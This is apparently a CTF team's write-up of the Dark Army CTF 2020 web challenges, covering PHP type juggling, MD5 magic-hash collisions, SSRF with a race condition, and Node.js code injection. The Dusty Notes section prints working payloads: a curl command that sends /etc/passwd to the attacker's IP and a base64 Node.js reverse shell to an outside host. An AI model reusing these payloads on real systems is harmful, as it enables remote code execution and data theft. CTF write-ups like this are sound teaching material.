Dark Army CTF 2020 WriteUp

Abdelhameed Ghazy
9 min readSep 27, 2020

--

Hello All We hope All OF you Are Fine
This Is Our Write-up For Dark Army CTF (Web Challenges) Alhamdullah We could Slove 8 From 10
Before All, its Was a Very Intersting competition :)

Let’s Starting With the First Challenge (Web/Source)
Player : Abdelhameed Ghazy
Discreption: Don’t know source is helpful or not !!
and he give you a file and a link

First i opened The Link and did’nt find any interest thing
so let’s open the file ….
it’s the Source OF This page in the link xD
and i found this Intersting code :
<?php
$web = $_SERVER[‘HTTP_USER_AGENT’];
if (is_numeric($web)){
if (strlen($web) < 4){
if ($web > 10000){
echo (‘<div class=”w3-panel w3-green”><h3>Correct</h3>
<p>darkCTF{}</p></div>’);
} else {
echo (‘<div class=”w3-panel w3-red”><h3>Wrong!</h3>
<p>Ohhhhh!!! Very Close </p></div>’);
}
} else {
echo (‘<div class=”w3-panel w3-red”><h3>Wrong!</h3>
<p>Nice!!! Near But Far</p></div>’);
}
} else {
echo (‘<div class=”w3-panel w3-red”><h3>Wrong!</h3>
<p>Ahhhhh!!! Try Not Easy</p></div>’);

AS You See Its Check The User Agent Value For 3 Conditions :
1- it’s a Number OR Not
2- Then Its Check the length is less than 4
3- And Finally Check The Value Is Greater Than 10000
I Had Error For First Time When I Thinking How Maximum length is 3 and The Value Must Be Greater Than 10000
Then i Asked My Team What’s The Number by This Conditions And MMox Told Me To Try “1e1” i Got The Idea From Here And Tried 9e9 To Get The Maximum Number
And Alhamdullah We Got The Flag

Let’s Moving To The Third Challenge (Web/Simple_SQL)
Player : Abdelhameed Ghazy
Discreption: Try to find username and password

IT Was Very Easy XD
When i Entered The Link And View Page Source As Usual
I found The Comment Told Me To Try id As A parameter

So Let’s Try it XD
when I Tried To Set it id=1 to see What’s In This parameter
i GOT This :

So I Continue Set A numbers And Got A random Value And Finally When I SeT IT id=8 I Fount THE Flag Alhamdullah

let’s Move To The Third One Which Make Me Crazy :(
(Web/PHP İnformation) ,Player:Abdelhameed Ghazy
Discreption:Let’s test your php knowledge.

Just When You Entered The Link You Will Got The Source Code

There is Some Funny IF Statments All Of Them Gives You Part From The Flag So Let’s Understanding Them One By One :)
For First Part

After Some Searching I Understand That To Get The First Part OF The Flag I Must Set Get Parameter Called darkctf and it’s Value = 2020
So Let’s Try It And Get The First Part OF the Flag

First Part Of The Flag

For The Second Part

It Was Very Easy TO Understand : We Must Set The Header User-Agent By THE Base64 Decode For This Value (MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==)
The Decoded Value Will Be (2020_the_best_year_corona)
So Let’s But IT in User-Agent Value And Get The Second Part OF the Flag

Second Part OF The Flag

For The Third Part

it Was Like Part One But The Diffrence Here That We Will Encode This Value (ZGFya2N0Zi0yMDIwLXdlYg==) As A base64 Encode
It Will Be (WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09) So Let’s Try To Put It into ctf2020 Get Parameter And Get The Third Part OF The Flag

Third Part OF The Flag

Lets Move To The Hardest Part The Forth Part

There Is Two Get Parameters karma and 2020
The Condition Here Is They Must Be Diffrent Values But Has The Same MD5 Hash
That Was A Very Strange Thing For Me But After Some Searching And My friends Told Me That’s Called (md5 collision)
After 4 Hours From Searching Because None Example i Saw Worked
I tried To searching In Github And I found That Intersting Link :
https://github.com/spaze/hashes/blob/master/md5.md
All Of These Strings Has The Same Md5 Hash
So Let’s Trying The First One And The Second One (QLTHNDT,QNKCDZO)
And Get The Forth Part Of the Flag

The Forth Part Of The Flag

Now Alhamdullah We Got The Four Parts Of The Flag :)

let’s Move To The Forth Challenge (Web/Dusty Notes)
Player:Abdelhameed Ghazy
Discreption:Sometimes some inputs can lead to flag
PS :- All error messages are intended
Flag is in /flag.txt
When You Enter The Link You Will See Some Thing Like A Board Contains Notes And There Is An Input Called Message Are Using For Adding New Notes
And The Notes Reflected Into The Board , So The First Thing I Tried Is XSS And Sqli But Unfortently It Didn’t Work :(
So I Use The Weppalyzer (Browser Extensions Gives İnformation About The Site ) And The Output Was The Website Built In Express Node-Js
At First I Searched For Express Node-Js Exploit And I Found “Exploiting Node.js deserialization bugfor Remote Code Execution(CVE-2017–5941)”
https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf
I’ve Tried A Lot In This But Unfortently It Didn’t Work
After A Discussion With My Mate (SadC0der) He Told Me To Try Node-Js Code Injection From This WriteUp:
https://www.doyler.net/security-not-included/nodejs-code-injection
So Let’s Strat Explain it :-
First Thing We Must Crash The Funtion To Get Some İnformation About It So I tried to Put (‘,/,\) In The Input And I Got This Error :

So IF you See The Highlighted Words It’s Dust-Helpers Library (Same As The Writeup I Following) So I Thought That Iam in The Right Place :)
Follwing The Writeup I also attempted to send a message parameter as an Array instead of a string. Similar to the author
http://dusty.darkarmy.xyz/addNotes?message[]=x&message[]='
Then I Noticed That IF I Put message[]=x&&message[]=s
The Note Will Be Printed As (x,s) So We Can Devide Our Payload
Let’s Execute Some Commands And Read The /etc/passwd Like The Writeup author

http://dusty.darkarmy.xyz/addNotes?message[]=x&message[]=y'-require('child_process').exec('curl+-F “x=`cat+/etc/passwd`”+My ip’)-’
When I Use This Payload And Open Port Listner In My kali With (nc -lvnp 80) I Could Read The /etc/passwd file

So I Also Confirm The Iam In The Right Path
Now Let’s Get A Reverse Shell !
With this Code We Can Get A Reverse SHell
y’-eval(new Buffer(“dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxNTYuMjE4LjE4My4xOTUiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==”, “base64”).toString())-’
let’s Analyzing It
It’s Eval Function Decoded This Base64 Value (dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxNTYuMjE4LjE4My4xOTUiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==)
The Decoded Value Will Be (var net = require(“net”), sh = require(“child_process”).exec(“/bin/bash”); var client = new net.Socket(); client.connect(8080, “My iP”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});)
So Let’s Modified IT With My Ip address Ans Then Encode It To Base64 And Put It Again In The Payload ;)
The Final Payload Will Be Like That :
http://dusty.darkarmy.xyz/addNotes?message[]=x&message[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICJNeUlwIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=%22,%20%22base64%22).toString())-%27.
let’s Open A port Listner For Port 8080 nc -lvnp 8080
And Alhamdullah We Got The Reverse Shell And Found The Flag In The / Directory

let’s Move To The Fifth Challenge (Web/Chain Race)
Player: Abdelhameed Ghazy
Discreption: All files are included. Source code is the key.

We Will Find A parameter Ask You To Enter Your Website and It’s Show The Source Code AS a Result
So The First Thing I Will Test Is SSRF And Alhamdullah It’s Vulnerable …. xD
So Let’s Read Some Internal Files
First I Put http://127.0.0.1
And I Got The Html Code Of The index page
Then I Tried To Read /etc/passwd File By This Payload :file:///etc/passwd
And Alhamdullah It’s Worked XD

I tried To Use Ctrl+F to Search For Any Thint Related To The Flag So I Searched For dark (Flag Format if darkCTF())
As You See There Is (localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin) In The Last Line In /etc/passwd
So Let’s See What’s In The localhost8080 I Take The Result And Put It In A html file And Open It To See What is it ?
It’s The Source Code !!!

So Let’s Analyzing It ;)
Really It’s A weird Code So I Started Searching About It
After Some Hours OF Searching And Trying These Weird Function At My LocalHost I Understand How It’s Works :)
IF You Review The Source Code You Will Understand That There is Two Get Parameters user,secret
IF I Set user=AnyThing And secret=0X1337
I will Set $Login_1 = 1 and $Login_2 = 1
And IF I Set $Login_1=1 And $Login_2=1 I will Got The Flag ;)
But There Is A Bad Thing Here :(

As You Can See IF I Set user=admin OR secret=0X1337
and i Need To Set secret=0X1337
but Let’s Try It Any Way And See The Result The Result it (nope) As You See In Previous Code
So I Asked My Friend Mohamed Amgad (The Most Helpful Person In The World 3>) And He Told Me That I can Bypass it By Putting The secret Parameter As Array
so The Link Will Be Like That
localhost8080/?user[]=anything&secret[]=0X1337
And The Result Become (Nope)
So Alhamdullah We Success To baypass The First Problem And We are Into Another Condition
So Let’s Look In The Source Code Again And Know Why We Got (Nope) Insted OF (nope) So I found That We Are In This Condition

After I Asked MyFreind Mo SALAH (The Egyption King 3> ) He Give Me a Hint That There’s A Race Condition
Then I want To Take A Break And Told My Friend Mohamed Amgad About The Hint He Told Me That There Is a Variable Called temp_name Depends On Time
$temp_name = sha1(md5(date(“ms”).@$_COOKIE[‘PHPSESSID’]));
And THe Condition That We Are In Will Gives Us The Flag If I Sent Two Requests In The Same MilliSecond
Because If You View The Source Code You Will See That There Are Two IF Conditions First OF Them checks IF The Login_1&Login_2 =1
And The Second Checks IF It can Delete $temp_name If IT Couldn’t IT Will Pass To The Flag
So IF we Sent Two Requests In The Same MilliSecond The Second IF Condition Will not Work and We Will Got The Flag
The Second IF will not Work Because It CHecks If It Can Delete $temp_name and one OF Two Requests Will Delete It already So The Second Will Pass And Echo The flag
So I Go To Burpsuite And Open The Intruder And Sent 10000 Requests And Alhamdullah I Got The Flag

--

--